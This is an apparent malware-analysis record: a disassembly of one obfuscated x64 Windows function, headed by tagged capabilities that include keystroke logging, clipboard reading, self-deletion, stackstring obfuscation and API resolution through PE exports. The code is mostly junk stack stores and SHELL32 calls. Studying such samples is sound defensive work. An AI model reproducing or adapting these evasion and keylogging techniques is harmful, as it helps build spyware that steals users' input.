Function at 0x1400532a0
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Delete directory
Encode data using base64
Encode data using xor
Get disk information
Get file system object information
Identify system language via api
Log keystrokes via polling
Parse pe header
Read clipboard data
Resolve function by parsing pe exports
Resume thread
Self delete
Set file attributes
Terminate thread

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x12138
call fcn.14013f8c0
sub rsp, rax
mov byte [rsp + 0x50], reloc.SHELL32.dll_ILAppendID
mov dword [rsp + 0x14f8], 0x46f2e65b
movabs rax, 0x1e16905a01ffb5ec
mov qword [rsp + 0x28b8], rax
movabs rax, 0x33797c440ba21d2b
mov qword [rsp + 0x28c0], rax
movabs rax, 0x69feaba3eb2add97
mov qword [rsp + 0x28c8], rax
mov byte [rsp + 0x51], 3
mov eax, 0x2761
mov word [rsp + 0x48c], ax
mov byte [rsp + 0x52], reloc.SHELL32.dll_ILFindChild
movabs rax, 0x5b87e9f17f158626
mov qword [rsp + 0x28d0], rax
mov eax, 0x6ba6
mov word [rsp + 0x490], ax
movabs rax, 0x6784b94e973c59f5
mov qword [rsp + 0x28d8], rax
mov dword [rsp + 0x14fc], 0xe00f2a4
mov dword [rsp + 0x1500], 0x16836c6e
mov dword [rsp + 0x1504], 0x46110989
mov dword [rsp + 0x1508], 0x670d1ad5
mov byte [rsp + 0x53], 0x6f
mov dword [rsp + 0x150c], 0x60a6ffe3
movabs rax, 0x4b13f2e5c1b41d98
mov qword [rsp + 0x28e0], rax
mov byte [rsp + 0x54], 0xc3
mov eax, 0xbd0
mov word [rsp + 0x494], ax
mov eax, 0x5a0c
mov word [rsp + 0x498], ax
movabs rax, 0xedd5f43b7472e740
mov qword [rsp + 0x28e8], rax
mov eax, 0x23a0
mov word [rsp + 0x49c], ax
movabs rax, 0xc9612c5ebe788cd3
mov qword [rsp + 0x28f0], rax
movabs rax, 0x257ad180adecf750
mov qword [rsp + 0x28f8], rax
mov eax, 0x7dd
mov word [rsp + 0x4a0], ax
movabs rax, 0x4721de6cd9ba27ae
mov qword [rsp + 0x2900], rax
mov dword [rsp + 0x1510], 0x43ca5a01
movabs rax, 0xd73a285a60c83661
mov qword [rsp + 0x2908], rax
mov byte [rsp + 0x55], 0x63
mov dword [rsp + 0x1514], 0xeedd5fe4
mov byte [rsp + 0x56], 0xa9
mov eax, 0x9cb
mov word [rsp + 0x4a4], ax
mov dword [rsp + 0x1518], 0x8f87f19a
mov dword [rsp + 0x151c], 0x4c869a0a
movabs rax, 0x16db132a4f54ebc4
mov qword [rsp + 0x2910], rax
mov dword [rsp + 0x1520], 0x3e01b180
movabs rax, 0x339ce2bcdd3d4fb8
mov qword [rsp + 0x2918], rax
mov byte [rsp + 0x57], 0x22
mov eax, 0x3eb9
mov word [rsp + 0x4a8], ax
mov dword [rsp + 0x1524], 0x2152c707
mov eax, 0x5b7
mov word [rsp + 0x4ac], ax
mov eax, 0x57c
mov word [rsp + 0x4b0], ax
movabs rax, 0xc476c48f3af29be0
mov qword [rsp + 0x2920], rax
mov eax, 0x3e83
mov word [rsp + 0x4b4], ax
movabs rax, 0x65148daa15faaeb3
mov qword [rsp + 0x2928], rax
mov byte [rsp + 0x58], 0x7c
movabs rax, 0xb5b5492302fc6989
mov qword [rsp + 0x2930], rax
mov eax, 0x21d
mov word [rsp + 0x4b8], ax
mov byte [rsp + 0x59], 0xd4
mov dword [rsp + 0x1528], 0x425ef55b
movabs rax, 0x133ab46e24401787
mov qword [rsp + 0x2938], rax
mov dword [rsp + 0x152c], 0x32dba560
movabs rax, 0x5668dc26582d7d12
mov qword [rsp + 0x2940], rax
mov byte [rsp + 0x5a], reloc.SHELL32.dll_ILFindChild
mov byte [rsp + 0x5b], 0x54
mov byte [rsp + 0x5c], 0x60
mov eax, 0x4a3a
mov word [rsp + 0x4bc], ax
mov dword [rsp + 0x1530], 0x5122f685
movabs rax, 0x4ffd927356277c5a
mov qword [rsp + 0x2948], rax
movabs rax, 0x1d7f499800d839bb
mov qword [rsp + 0x2950], rax
mov byte [rsp + 0x5d], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x1534], 0x6d756db8
mov eax, 0x96a
mov word [rsp + 0x4c0], ax
movabs rax, 0xa6296169622f0627
mov qword [rsp + 0x2958], rax
mov dword [rsp + 0x1538], 0xf6b0bb8c
mov eax, 0x34ff
mov word [rsp + 0x4c4], ax
movabs rax, 0x14c29fb26823b0cd
mov qword [rsp + 0x2960], rax
mov eax, 0x5bc
mov word [rsp + 0x4c8], ax
mov eax, 0xfb5
mov word [rsp + 0x4cc], ax
mov byte [rsp + 0x5e], 0x3a
mov byte [rsp + 0x5f], 0x44
mov byte [rsp + 0x60], 0xe3
mov byte [rsp + 0x61], ILCreateFromPathA
movabs rax, 0x2a7d85f2ed2c8c34
mov qword [rsp + 0x2968], rax
mov byte [rsp + 0x62], 0x3a
mov byte [rsp + 0x63], 0x70
mov eax, 0x3aa
mov word [rsp + 0x4d0], ax
mov byte [rsp + 0x64], 0x20
mov dword [rsp + 0x153c], 0x83a2f98b
movabs rax, 0x3c8146b0f3ee6747
mov qword [rsp + 0x2970], rax
mov byte [rsp + 0x65], 0x60
mov eax, 0x9cd
mov word [rsp + 0x4d4], ax
mov byte [rsp + 0x66], 0x57
mov dword [rsp + 0x1540], 0x5d111bac
mov dword [rsp + 0x1544], 0x40a964ca
movabs rax, 0xcbdd3261e6801c42
mov qword [rsp + 0x2978], rax
mov byte [rsp + 0x67], ILCombine
mov eax, 0x3da
mov word [rsp + 0x4d8], ax
mov eax, 0xa05
mov word [rsp + 0x4dc], ax
mov byte [rsp + 0x68], 8
mov byte [rsp + 0x69], SHGetNewLinkInfoA
mov dword [rsp + 0x1548], 0x1027e586
mov byte [rsp + 0x6a], 0x55
mov dword [rsp + 0x154c], 0xf5db925c
mov dword [rsp + 0x1550], 0x69c3ced4
mov eax, 0x615b
mov word [rsp + 0x4e0], ax
mov eax, 0x3f2
mov word [rsp + 0x4e4], ax
mov dword [rsp + 0x1554], 0x4d890c42
mov byte [rsp + 0x6b], 0x80
mov byte [rsp + 0x6c], 0x5e
movabs rax, 0x2de774fa5c12bf40
mov qword [rsp + 0x2980], rax
movabs rax, 0x7cae5f19fae135d8
mov qword [rsp + 0x2988], rax
movabs rax, 0xdba156eb3ef3a5d
mov qword [rsp + 0x2990], rax
mov byte [rsp + 0x6d], 0xc4
mov dword [rsp + 0x1558], 0x82dfec2
mov dword [rsp + 0x155c], 0x2f0a92da
mov eax, 0x7cee
mov word [rsp + 0x4e8], ax
mov eax, 0x589d
mov word [rsp + 0x4ec], ax
mov byte [rsp + 0x6e], 0x6f
movabs rax, 0xeb39e7e4ce0e72ca
mov qword [rsp + 0x2998], rax
mov dword [rsp + 0x1560], 0x302b6143
mov byte [rsp + 0x6f], 0x76
mov eax, 0x24eb
mov word [rsp + 0x4f0], ax
mov byte [rsp + 0x70], 0x55
movabs rax, 0x1f53d22d4b903570
mov qword [rsp + 0x29a0], rax
mov dword [rsp + 0x1564], 0x6911ab29
movabs rax, 0x7306e47a6b06569b
mov qword [rsp + 0x29a8], rax
mov eax, 0x6e3
mov word [rsp + 0x4f4], ax
mov dword [rsp + 0x1568], 0xe20340d
movabs rax, 0x71693b4614319025
mov qword [rsp + 0x29b0], rax
mov byte [rsp + 0x71], SHGetNewLinkInfoA
mov dword [rsp + 0x156c], 0xe643d1b9
mov eax, 0x2f19
mov word [rsp + 0x4f8], ax
movabs rax, 0x17952d93a0242a47
mov qword [rsp + 0x29b8], rax
mov dword [rsp + 0x1570], 0x3b41bb
mov eax, 0xb0c
mov word [rsp + 0x4fc], ax
mov dword [rsp + 0x1574], 0x85f0d321
mov byte [rsp + 0x72], 0x3e
mov byte [rsp + 0x73], 0x60
mov dword [rsp + 0x1578], 0x31454b2a
mov dword [rsp + 0x157c], 0x59ae8715
mov dword [rsp + 0x1580], 0x7ab2d7ca
mov eax, 0xe5
mov word [rsp + 0x500], ax
mov dword [rsp + 0x1584], 0x7e8372e2
movabs rax, 0x3850b281c59d2d99
mov qword [rsp + 0x29c0], rax
mov dword [rsp + 0x1588], 0x91fba274
mov dword [rsp + 0x158c], 0x111f2cfd
mov dword [rsp + 0x1590], 0x8deafd76
movabs rax, 0x4a32c1a1f6a9e0a8
mov qword [rsp + 0x29c8], rax
movabs rax, 0x1be597126b1b65dd
mov qword [rsp + 0x29d0], rax
mov dword [rsp + 0x1594], 0x28f626a
mov eax, 0x3e4
mov word [rsp + 0x504], ax
movabs rax, 0xc4318bd177b5e954
mov qword [rsp + 0x29d8], rax
mov eax, 0xeeb
mov word [rsp + 0x508], ax
movabs rax, 0x7dc8487386f50d57
mov qword [rsp + 0x29e0], rax
mov eax, 0x4a9f
mov word [rsp + 0x50c], ax
mov dword [rsp + 0x1598], 0x2c1b08db
movabs rax, 0x7b872383483582f1
mov qword [rsp + 0x29e8], rax
mov eax, 0x740d
mov word [rsp + 0x510], ax
movabs rax, 0x731ad9114ea2f79c
mov qword [rsp + 0x29f0], rax
mov eax, 0xc87
mov word [rsp + 0x514], ax
mov eax, 0x76e0
mov word [rsp + 0x518], ax
movabs rax, 0x31cdb70c2258b524
mov qword [rsp + 0x29f8], rax
movabs rax, 0x326d349acbc37a0d
mov qword [rsp + 0x2a00], rax
mov byte [rsp + 0x74], 0xc0
movabs rax, 0x76b1d2187678601c
mov qword [rsp + 0x2a08], rax
mov byte [rsp + 0x75], 0x5f
mov byte [rsp + 0x76], 0x33
movabs rax, 0x6be71974751b0b60
mov qword [rsp + 0x2a10], rax
mov dword [rsp + 0x159c], 0x11fef3f0
mov dword [rsp + 0x15a0], 0xbdb91e18
mov eax, 0x1f49
mov word [rsp + 0x51c], ax
mov eax, 0x6c8
mov word [rsp + 0x520], ax
movabs rax, 0x3b819fcaed81be44
mov qword [rsp + 0x2a18], rax
movabs rax, 0x6c8f8615dce4c835
mov qword [rsp + 0x2a20], rax
mov eax, 0xdc5
mov word [rsp + 0x524], ax
movabs rax, 0x2dd1901ce93b76a5
mov qword [rsp + 0x2a28], rax
mov byte [rsp + 0x77], 0x77
movabs rax, 0x1775b1ee7a60664
mov qword [rsp + 0x2a30], rax
mov eax, 0x7e1f
mov word [rsp + 0x528], ax
movabs rax, 0x3e0e171943fd9feb
mov qword [rsp + 0x2a38], rax
movabs rax, 0x43eabac6a71898da
mov qword [rsp + 0x2a40], rax
mov byte [rsp + 0x78], 0x58
mov dword [rsp + 0x15a4], 0xa043986f
mov byte [rsp + 0x79], 0x21
mov dword [rsp + 0x15a8], 0x7cf39cf0
mov dword [rsp + 0x15ac], 0x7e623406
mov dword [rsp + 0x15b0], 0x5c831df1
mov dword [rsp + 0x15b4], 0x6afd9ac1
mov byte [rsp + 0x7a], 0x83
mov byte [rsp + 0x7b], reloc.SHELL32.dll_ILClone
mov eax, 0xd26
mov word [rsp + 0x52c], ax
mov byte [rsp + 0x7c], 0x80
mov eax, 0x60a
mov word [rsp + 0x530], ax
movabs rax, 0xc09cdf70d81b0504
mov qword [rsp + 0x2a48], rax
mov eax, 0x71b
mov word [rsp + 0x534], ax
mov dword [rsp + 0x15b8], 0xac24b704
mov dword [rsp + 0x15bc], 0x58b68235
mov eax, 0xe97
mov word [rsp + 0x538], ax
mov dword [rsp + 0x15c0], 0x6471c877
movabs rax, 0x5e8cacca6d5e6933
mov qword [rsp + 0x2a50], rax
mov dword [rsp + 0x15c4], 0x2e262e55
mov dword [rsp + 0x15c8], 0x1a380492
movabs rax, 0x7b1a99a3d90e443c
mov qword [rsp + 0x2a58], rax
mov eax, 0xea
mov word [rsp + 0x53c], ax
mov byte [rsp + 0x7d], 0xc4
mov byte [rsp + 0x7e], 0x63
mov eax, 0x3fa
mov word [rsp + 0x540], ax
mov byte [rsp + 0x7f], 4
mov eax, 0x199
mov word [rsp + 0x544], ax
mov dword [rsp + 0x15cc], 0xedfae439
mov byte [rsp + 0x80], 0x6a
movabs rax, 0x1e6ee7fa391fa55d
mov qword [rsp + 0x2a60], rax
mov byte [rsp + 0x81], 0xcb
mov byte [rsp + 0x82], 0xc0
mov dword [rsp + 0x15d0], 0x5c48490c
mov dword [rsp + 0x15d4], 0x80af0fc
mov dword [rsp + 0x15d8], 0x6f525738
mov byte [rsp + 0x83], 0xa
mov byte [rsp + 0x84], 0xea
mov eax, 0x734
mov word [rsp + 0x548], ax
mov byte [rsp + 0x85], 0x50
movabs rax, 0x58de51e9a2a5ba78
mov qword [rsp + 0x2a68], rax
mov eax, 0x114
mov word [rsp + 0x54c], ax
mov byte [rsp + 0x86], PathMakeUniqueName
mov eax, 0xd95
mov word [rsp + 0x550], ax
movabs rax, 0x2b425006815bf698
mov qword [rsp + 0x2a70], rax
mov byte [rsp + 0x87], 0x8a
mov eax, 0x5526
mov word [rsp + 0x554], ax
movabs rax, 0x8fa044118c624eb6
mov qword [rsp + 0x2a78], rax
mov byte [rsp + 0x88], 0x1e
mov dword [rsp + 0x15dc], 0xdd75b75
mov dword [rsp + 0x15e0], 0x7ec249d7
mov byte [rsp + 0x89], 2
movabs rax, 0x26e2d8685baed57b
mov qword [rsp + 0x2a80], rax
mov eax, 0x62c7
mov word [rsp + 0x558], ax
mov eax, 0xaef
mov word [rsp + 0x55c], ax
mov dword [rsp + 0x15e4], 0xfb5a461f
mov eax, 0x7787
mov word [rsp + 0x560], ax
mov byte [rsp + 0x8a], 0x32
mov dword [rsp + 0x15e8], 0x66dc78dc
mov dword [rsp + 0x15ec], 0x7aeda584
mov eax, 0x4aa
mov word [rsp + 0x564], ax
movabs rax, 0x79086d0c8d25ce10
mov qword [rsp + 0x2a88], rax
mov eax, 0x6365
mov word [rsp + 0x568], ax
mov byte [rsp + 0x8b], 0x4d
mov byte [rsp + 0x8c], 0x3a
movabs rax, 0xd1bdfa724ceb17f9
mov qword [rsp + 0x2a90], rax
mov byte [rsp + 0x8d], ILGetNext
mov byte [rsp + 0x8e], 0x6c
movabs rax, 0x5ae8b42252054b44
mov qword [rsp + 0x2a98], rax
mov eax, 0x249
mov word [rsp + 0x56c], ax
mov dword [rsp + 0x15f0], 0x7eaf891a
movabs rax, 0x1dd89f95434a10e5
mov qword [rsp + 0x2aa0], rax
mov byte [rsp + 0x8f], 0xce
mov byte [rsp + 0x90], 0x4f
mov byte [rsp + 0x91], 0xc8
mov byte [rsp + 0x92], 0xa6
mov byte [rsp + 0x93], 0x62
mov byte [rsp + 0x94], 0x5f
movabs rax, 0x351a13f9750469cb
mov qword [rsp + 0x2aa8], rax
mov eax, 0x1cf1
mov word [rsp + 0x570], ax
mov byte [rsp + 0x95], 0xa8
mov eax, 0x69a0
mov word [rsp + 0x574], ax
mov dword [rsp + 0x15f4], 0x4c7733e
mov dword [rsp + 0x15f8], 0x362077a1
mov byte [rsp + 0x96], PathMakeUniqueName
mov dword [rsp + 0x15fc], 0x3a74c41c
mov byte [rsp + 0x97], 0x65
mov eax, 0x27e9
mov word [rsp + 0x578], ax
mov dword [rsp + 0x1600], 0xcaf99c15
mov eax, 0x1f21
mov word [rsp + 0x57c], ax
mov dword [rsp + 0x1604], 0x4aa55fea
mov byte [rsp + 0x98], 0
movabs rax, 0x2c04942e0a5acec8
mov qword [rsp + 0x2ab0], rax
mov eax, 0x79a3
mov word [rsp + 0x580], ax
mov eax, 0x792e
mov word [rsp + 0x584], ax
mov byte [rsp + 0x99], 0x7f
mov dword [rsp + 0x1608], 0xcb1dc71
mov eax, 0x347c
mov word [rsp + 0x588], ax
mov byte [rsp + 0x9a], 0x4c
mov eax, 0x6516
mov word [rsp + 0x58c], ax
mov dword [rsp + 0x160c], 0xb116ba93
mov byte [rsp + 0x9b], 0x65
mov byte [rsp + 0x9c], 0x71
mov byte [rsp + 0x9d], 0x52
movabs rax, 0x497c5380077944ea
mov qword [rsp + 0x2ab8], rax
mov dword [rsp + 0x1610], 0xf2cba22b
movabs rax, 0x6b18ae2b5d186e0f
mov qword [rsp + 0x2ac0], rax
mov eax, 0x474
mov word [rsp + 0x590], ax
mov dword [rsp + 0x1614], 0x9c19000b
mov byte [rsp + 0x9e], 0x76
mov dword [rsp + 0x1618], 0x32d4d6a9
mov byte [rsp + 0x9f], reloc.SHELL32.dll_SHUpdateImageA
mov eax, 0x2e42
mov word [rsp + 0x594], ax
movabs rax, 0x6133e785fec00d0d
mov qword [rsp + 0x2ac8], rax
movabs rax, 0x517dc7fa4dfd6001
mov qword [rsp + 0x2ad0], rax
mov eax, 0x3d9
mov word [rsp + 0x598], ax
mov byte [rsp + 0xa0], 0x21
mov byte [rsp + 0xa1], reloc.SHELL32.dll_ILIsParent
movabs rax, 0x649ea4b16112548
mov qword [rsp + 0x2ad8], rax
mov byte [rsp + 0xa2], 0x1d
mov byte [rsp + 0xa3], ILClone
mov eax, 0xa8
mov word [rsp + 0x59c], ax
mov dword [rsp + 0x161c], 0x388f7098
mov byte [rsp + 0xa4], 0xdc
mov eax, 0x7ab8
mov word [rsp + 0x5a0], ax
movabs rax, 0x4b946541a3a9d862
mov qword [rsp + 0x2ae0], rax
mov byte [rsp + 0xa5], 0x7b
movabs rax, 0xcfa324818464cfa5
mov qword [rsp + 0x2ae8], rax
mov byte [rsp + 0xa6], PathYetAnotherMakeUniqueName
mov byte [rsp + 0xa7], 0x57
movabs rax, 0x8c64e93f40ed7635
mov qword [rsp + 0x2af0], rax
mov eax, 0x3c9d
mov word [rsp + 0x5a4], ax
mov dword [rsp + 0x1620], 0xbac08163
movabs rax, 0xcfde1eee13e9c33b
mov qword [rsp + 0x2af8], rax
mov byte [rsp + 0xa8], ILCreateFromPathA
mov byte [rsp + 0xa9], 0x78
mov byte [rsp + 0xaa], 9
movabs rax, 0xcef6131a5d39be42
mov qword [rsp + 0x2b00], rax
mov eax, 0xbfe
mov word [rsp + 0x5a8], ax
mov eax, 0x4083
mov word [rsp + 0x5ac], ax
mov eax, 0x3b7d
mov word [rsp + 0x5b0], ax
mov dword [rsp + 0x1624], 0x4f4815d5
movabs rax, 0x7cd07bff4a9371d2
mov qword [rsp + 0x2b08], rax
movabs rax, 0x3f8f27fbd540540d
mov qword [rsp + 0x2b10], rax
mov eax, 0x1a0
mov word [rsp + 0x5b4], ax
mov byte [rsp + 0xab], 0x3e
mov dword [rsp + 0x1628], 0x3e542645
mov eax, 0xbb5
mov word [rsp + 0x5b8], ax
mov byte [rsp + 0xac], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x162c], 0x5bb5fba6
movabs rax, 0x817b9bde7b65f26
mov qword [rsp + 0x2b18], rax
mov eax, 0x1f65
mov word [rsp + 0x5bc], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x10e58]
call fcn.14010cf50
mov dword [rsp + 0x1630], 0xc0ff54a1
mov byte [rsp + 0xad], ILClone
mov dword [rsp + 0x1634], 0x1ccf7d8e
mov eax, 0x23ef
mov word [rsp + 0x5c0], ax
movabs rax, 0xae9b327410caa932
mov qword [rsp + 0x2b20], rax
mov byte [rsp + 0xae], 0x33
mov eax, 0x27b2
mov word [rsp + 0x5c4], ax
mov byte [rsp + 0xaf], reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
mov dword [rsp + 0x1638], 0xb909e5ef
mov eax, 0x2ed
mov word [rsp + 0x5c8], ax
movabs rax, 0x79695ecca672b09b
mov qword [rsp + 0x2b28], rax
mov byte [rsp + 0xb0], 4
mov dword [rsp + 0x163c], 0x5eb29f59
mov byte [rsp + 0xb1], SHTestTokenMembership
mov eax, 0xa69
mov word [rsp + 0x5cc], ax
mov eax, 0x4b9d
mov word [rsp + 0x5d0], ax
mov byte [rsp + 0xb2], reloc.SHELL32.dll_ILFindLastID
mov eax, 0xec1
mov word [rsp + 0x5d4], ax
mov dword [rsp + 0x1640], 0x7b04133e
mov dword [rsp + 0x1644], 0x4d86f4c4
movabs rax, 0xf307d5c86cd7e68f
mov qword [rsp + 0x2b30], rax
mov eax, 0x1264
mov word [rsp + 0x5d8], ax
mov dword [rsp + 0x1648], 0xa2081ca9
mov eax, 0xb79
mov word [rsp + 0x5dc], ax
mov dword [rsp + 0x164c], 0x281c8573
movabs rax, 0xfca55bdf69e70e77
mov qword [rsp + 0x2b38], rax
mov byte [rsp + 0xb3], 0x65
mov byte [rsp + 0xb4], 0x66
mov byte [rsp + 0xb5], 0xc7
movabs rax, 0xb577aaa7c352b19d
mov qword [rsp + 0x2b40], rax
movabs rax, 0x32374487856ec9a0
mov qword [rsp + 0x2b48], rax
movabs rax, 0x4bc053d6418fae5f
mov qword [rsp + 0x2b50], rax
mov eax, 0x4949
mov word [rsp + 0x5e0], ax
movabs rax, 0x86802c19591b0ad
mov qword [rsp + 0x2b58], rax
mov eax, 0x2ab
mov word [rsp + 0x5e4], ax
movabs rax, 0x945eaecf9969196c
mov qword [rsp + 0x2b60], rax
movabs rax, 0x66a7958bc22089da
mov qword [rsp + 0x2b68], rax
mov dword [rsp + 0x1650], 0x8246e021
mov byte [rsp + 0xb6], PathMakeUniqueName
mov eax, 0xb34
mov word [rsp + 0x5e8], ax
mov dword [rsp + 0x1654], 0x6f779757
mov eax, 0xa3b
mov word [rsp + 0x5ec], ax
movabs rax, 0xa4f033dc4de996c8
mov qword [rsp + 0x2b70], rax
mov dword [rsp + 0x1658], 0x1e9a17ad
mov byte [rsp + 0xb7], 0x9c
mov dword [rsp + 0x165c], 0x38efcf16
mov dword [rsp + 0x1660], 0x3332ddcd
mov byte [rsp + 0xb8], 2
movabs rax, 0x318b5325b4d16c02
mov qword [rsp + 0x2b78], rax
mov eax, 0xd2d
mov word [rsp + 0x5f0], ax
movabs rax, 0x9357a76fd992eb66
mov qword [rsp + 0x2b80], rax
movabs rax, 0x6ace901ebe625c98
mov qword [rsp + 0x2b88], rax
mov dword [rsp + 0x1664], 0x7ad99d5f
mov dword [rsp + 0x1668], 0x8ed5a48d
mov byte [rsp + 0xb9], 0x1a
movabs rax, 0x472238d8b87eba1d
mov qword [rsp + 0x2b90], rax
mov eax, 0x148
mov word [rsp + 0x5f4], ax
movabs rax, 0x728c1622eba4c5a3
mov qword [rsp + 0x2b98], rax
movabs rax, 0x8964b593045bfaaa
mov qword [rsp + 0x2ba0], rax
mov dword [rsp + 0x166c], 0x76cbb14e
movabs rax, 0x1d4201d16b692af9
mov qword [rsp + 0x2ba8], rax
mov dword [rsp + 0x1670], 0xab441428
mov dword [rsp + 0x1674], 0x4c686bdb
movabs rax, 0x114a4ee3f88874f5
mov qword [rsp + 0x2bb0], rax
mov dword [rsp + 0x1678], 0x6d000569
mov eax, 0x5d6
mov word [rsp + 0x5f8], ax
movabs rax, 0xc2f945184022b236
mov qword [rsp + 0x2bb8], rax
mov dword [rsp + 0x167c], 0x53466b93
mov eax, 0x2de3
mov word [rsp + 0x5fc], ax
mov byte [rsp + 0xba], reloc.SHELL32.dll_PathMakeUniqueName
movabs rax, 0x5525659cc38c2820
mov qword [rsp + 0x2bc0], rax
mov eax, 0x6aa8
mov word [rsp + 0x600], ax
movabs rax, 0xfa953990315b08a3
mov qword [rsp + 0x2bc8], rax
mov eax, 0x4ed9
mov word [rsp + 0x604], ax
mov byte [rsp + 0xbb], 4
movabs rax, 0xec9a81eed220e15a
mov qword [rsp + 0x2bd0], rax
mov eax, 0x6b5d
mov word [rsp + 0x608], ax
movabs rax, 0xeadab64645dd4cef
mov qword [rsp + 0x2bd8], rax
mov eax, 0x9f9
mov word [rsp + 0x60c], ax
mov byte [rsp + 0xbc], 0xfc
mov eax, 0x882
mov word [rsp + 0x610], ax
movabs rax, 0x52eb169291710bc7
mov qword [rsp + 0x2be0], rax
mov eax, 0x3bf8
mov word [rsp + 0x614], ax
mov dword [rsp + 0x1680], 0xe52dbfc1
mov dword [rsp + 0x1684], 0x76445b4d
mov dword [rsp + 0x1688], 0x5a71512
mov eax, 0x54e8
mov word [rsp + 0x618], ax
mov eax, 0xa49
mov word [rsp + 0x61c], ax
mov byte [rsp + 0xbd], 0x35
mov byte [rsp + 0xbe], 0xa2
mov eax, 0xcf4
mov word [rsp + 0x620], ax
mov byte [rsp + 0xbf], PathYetAnotherMakeUniqueName
mov byte [rsp + 0xc0], 0x22
movabs rax, 0x304301b44a3012ec
mov qword [rsp + 0x2be8], rax
mov dword [rsp + 0x168c], 0x43e18106
mov eax, 0x6e52
mov word [rsp + 0x624], ax
mov dword [rsp + 0x1690], 0x49255f16
mov dword [rsp + 0x1694], 0x622ed251
mov dword [rsp + 0x1698], 0xe5cfee50
mov dword [rsp + 0x169c], 0x65e371c3
mov eax, 0x342
mov word [rsp + 0x628], ax
mov eax, 0xdbe
mov word [rsp + 0x62c], ax
mov byte [rsp + 0xc1], 0x57
mov eax, 0x878
mov word [rsp + 0x630], ax
mov eax, 0xd43
mov word [rsp + 0x634], ax
mov dword [rsp + 0x16a0], 0x39bfb932
mov byte [rsp + 0xc2], 0x3d
mov dword [rsp + 0x16a4], 0xdc7528d
movabs rax, 0x415c3ed76d1aa7f7
mov qword [rsp + 0x2bf0], rax
mov eax, 0xb5c
mov word [rsp + 0x638], ax
mov eax, 0x89b
mov word [rsp + 0x63c], ax
mov eax, 0x3133
mov word [rsp + 0x640], ax
movabs rax, 0x3657ee3d503a36fd
mov qword [rsp + 0x2bf8], rax
movabs rax, 0x55149cefef0c741b
mov qword [rsp + 0x2c00], rax
movabs rax, 0x667e73888f466220
mov qword [rsp + 0x2c08], rax
mov byte [rsp + 0xc3], 0x1a
mov dword [rsp + 0x16a8], 0xaeba99ba
mov byte [rsp + 0xc4], 0x36
mov eax, 0x66f1
mov word [rsp + 0x644], ax
mov dword [rsp + 0x16ac], 0xbd971d09
mov byte [rsp + 0xc5], 0x74
mov byte [rsp + 0xc6], 0x53
mov byte [rsp + 0xc7], 0x36
mov byte [rsp + 0xc8], 0x73
mov byte [rsp + 0xc9], 0xec
mov eax, 0x7f05
mov word [rsp + 0x648], ax
mov byte [rsp + 0xca], 0xf8
mov eax, 0x13c9
mov word [rsp + 0x64c], ax
mov byte [rsp + 0xcb], 0x56
mov byte [rsp + 0xcc], 0x43
mov eax, 0x5d2a
mov word [rsp + 0x650], ax
movabs rax, 0x6f45466603c4935b
mov qword [rsp + 0x2c10], rax
mov eax, 0x5826
mov word [rsp + 0x654], ax
movabs rax, 0xb31efe1d0ea827e1
mov qword [rsp + 0x2c18], rax
mov dword [rsp + 0x16b0], 0xa101096b
mov dword [rsp + 0x16b4], 0xaaa512b0
mov eax, 0xb0b
mov word [rsp + 0x658], ax
mov eax, 0x5ed
mov word [rsp + 0x65c], ax
movzx eax, word [rsp + 0x65c]
mov dword [rsp + 0x16b8], eax
cmp dword [rsp + 0x16b8], 0x1f5
je 0x1400548c9
cmp dword [rsp + 0x16b8], 0x91d
je 0x1400548d4
jmp 0x140054964
call fcn.14010bb20
nop
jmp 0x140054964
lea r8, [rsp + 0x2c20]
mov rdx, qword [rsp + 0x2c28]
mov rcx, qword [rsp + 0x2c30]
call qword [sym.imp.SHELL32.dll_ExtractAssociatedIconA]
mov qword [rsp + 0x2c20], rax
movzx eax, word [rsp + 0x65c]
sub eax, 0x21b
mov word [rsp + 0x65c], ax
movzx eax, word [rsp + 0x65c]
mov dword [rsp + 0x16bc], eax
cmp dword [rsp + 0x16bc], 0x40
je 0x14005492a
jmp 0x140054947
lea rcx, [rsp + 0x11100]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
mov dword [rsp + 0x16c0], eax
call fcn.14010bb20
nop
jmp 0x140054964
lea rdx, [rsp + 0x2c30]
lea rcx, [rsp + 0x16c0]
call qword [sym.imp.SHELL32.dll_SHIsFileAvailableOffline]
mov dword [rsp + 0x16c4], eax
movzx eax, word [rsp + 0x65c]
cmp eax, 0xe5d
jne 0x140054988
movzx eax, word [rsp + 0x65c]
add eax, 0x100
mov word [rsp + 0x65c], ax
movsx eax, word [0x14015a008]
and eax, 0x6c5b
mov word [0x14015a008], ax
movzx eax, byte [rsp + 0x8a]
imul eax, eax, 0x1c
mov byte [rsp + 0x8a], al
mov dword [rsp + 0x16c8], 0xe200
movzx eax, word [rsp + 0x65c]
mov dword [rsp + 0x16cc], eax
cmp dword [rsp + 0x16cc], 0x5ed
je 0x140054a5d
cmp dword [rsp + 0x16cc], 0x918
je 0x1400549ea
jmp 0x140054b1c
movzx eax, byte [rsp + 0x8a]
mov byte [rsp + 0x16d0], al
cmp byte [rsp + 0x16d0], 0x94
je 0x140054a05
jmp 0x140054a39
movzx eax, byte [rsp + 0x8a]
or eax, 0x13
mov byte [rsp + 0x8a], al
mov r9d, 0x86
mov r8d, SHSetInstanceExplorer
mov edx, 0xe5
mov rcx, qword [rsp + 0x2c38]
call qword [sym.imp.SHELL32.dll_SHUpdateImageA]
nop
jmp 0x140054a4b
movzx eax, byte [rsp + 0x8a]
shl eax, 6
mov byte [rsp + 0x8a], al
movzx ecx, word [0x14015a008]
call fcn.14010b2e0
nop
jmp 0x140054b1c
movzx eax, byte [rsp + 0x8a]
cmp eax, 0xa5
jne 0x140054aaf
mov r8d, 0x65
lea rdx, [rsp + 0x2c30]
lea rcx, [rsp + 0x16c0]
call qword [sym.imp.SHELL32.dll_SHSetLocalizedName]
mov dword [rsp + 0x16d4], eax
movzx eax, byte [rsp + 0x8a]
sar eax, 1
mov byte [rsp + 0x8a], al
lea rcx, [rsp + 0x65c]
call qword [sym.imp.SHELL32.dll_SHSetInstanceExplorer]
nop
movabs rax, 0x26a73ffe5f852ab8
mov qword [rsp + 0x2c40], rax
mov dword [rsp + 0x16d8], 0xf8dd
movzx eax, word [rsp + 0x65c]
mov dword [rsp + 0x16dc], eax
